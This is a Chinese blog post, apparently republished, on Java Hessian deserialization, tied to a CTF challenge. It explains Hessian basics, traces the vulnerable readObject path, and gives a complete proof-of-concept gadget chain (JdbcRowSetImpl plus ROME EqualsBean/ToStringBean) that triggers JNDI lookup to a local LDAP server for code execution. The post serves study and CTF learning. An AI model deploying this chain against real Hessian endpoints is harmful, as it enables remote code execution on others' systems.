统计
  • 文章总数:76 篇
  • 评论总数:174 条
  • 分类总数:6 个
  • 最后更新:4天前

Java 反序列化 Hessian 篇之简单实现(一)

本文阅读 3 分钟

前言

前几天的 D^3CTF 的一道题的常规解就是用 Hessian 打的,这里先学习一下关于 Hessian 的基础。

什么是 Hessian

Hessian 是一个紧凑的二进制协议,用于在各种语言之间编码和传输数据,包括 Java。由 Caucho Technology 开发,Hessian 主要用于远程方法调用 (remote method invocation, RMI) 这样的分布式计算场景。它基于 HTTP,易于使用而且效率很高,尤其是在对带宽要求较高或是对象序列化开销较大的环境中。
Hessian 的工作方式简单来说就是将数据对象序列化为字节流,然后通过网络发送;接收方再从字节流中反序列化出原始数据对象。Java 中的 Hessian 序列化通过 HessianOutput 类实现,Hessian 反序列化则通过 HessianInput 类实现。

基本使用

环境配置

<dependency>
  <groupId>com.caucho</groupId>
  <artifactId>hessian</artifactId>
  <version>4.0.63</version>
</dependency>

测试代码

实体类

package com.natro92;

import java.io.Serializable;

public class Hacker implements Serializable {
    private String name;
    private int age;

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Hacker(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public void printInfo() {
        System.out.println("Name: " + name + ", Age: " + age);
    }
}

Hessian 自带的序列化和反序列化

package com.natro92;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;

public class HessianTest implements Serializable {
    // 序列化
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static void main(String[] args) throws IOException {
        Hacker hacker = new Hacker("Natro92", 18);
        byte[] s = serialize(hacker);
        System.out.println((Hacker) deserialize(s));
    }
}

image.png

Java 原生的序列化和反序列化

package com.natro92;

import java.io.*;

public class JavaHessianTest implements Serializable {
    public static <T> byte[] serialize(T t) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(t);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }

    public static <T> T deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        ObjectInputStream ois  =new ObjectInputStream(bai);
        return (T) ois.readObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Hacker hacker = new Hacker("Natro92", 18);
        byte[] s=serialize(hacker);
        System.out.println((Hacker) deserialize(s));
    }
}

Hessian 反序列化漏洞分析

代码预览
漏洞出现在 HessianInput#readObject
我们在前面运行得到的结果,能注意到开头有一个 M(ASCII:77),这是因为 Hessian 序列化结果是一个 Map
因此在 readObject 这里 case 进入 M 处:
再进入 ObjectInputStream#readMap 方法:
获取到 Deserializer
进去 getDeserializer,在这里创建了一个 HashMap,并将 key 放入:
我们发现了熟悉的 put 方法,进去之后就能发现 hash 方法
进去之后就是熟悉的 HashMap#hashcode 方法:
这里我们分析下 Poc:

package com.natro92;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class HackHessian implements Serializable {

    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getValue(Object obj, String name) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:4444/Exp";
        jdbcRowSet.setDataSourceName(url);


        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        //手动生成HashMap,防止提前调用hashcode()
        HashMap hashMap = makeMap(equalsBean,"1");

        byte[] s = serialize(hashMap);
        System.out.println(s);
        System.out.println((HashMap)deserialize(s));
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
}

在 4444 上起一个 ldap 服务:
运行代码成功执行

断点分析

断在 readObject 这里我们进去看看

运行时弹出了两个计算器,这里有一个是序列化时弹得计算器。进去。
检测第一个字节是 M 因此进行 readMap:
进入 ReadMap
继续由于两个判断都是 null,可以走到 MapDeserializer 和_hashMapDeserializer.readMap(in),进入_hashMapDeserializer.readMap。
这里创建一个新的 HashMap,作为一个临时缓存,将内容 put 进去。因为这里调用了两次的 readObject,所以会重复。
然后就到了 put 这里。后面就是 Rome。
进 hash 再执行 EqualsBean#hashcode

本文经授权后发布,本文观点不代表立场,文章出自:https://natro92.fun/posts/117b7110/
-- 展开阅读全文 --
60秒看世界
« 上一篇 05-03
Docker部署谷歌开源项目—图片无损压缩平台
下一篇 » 05-04

发表评论

发表评论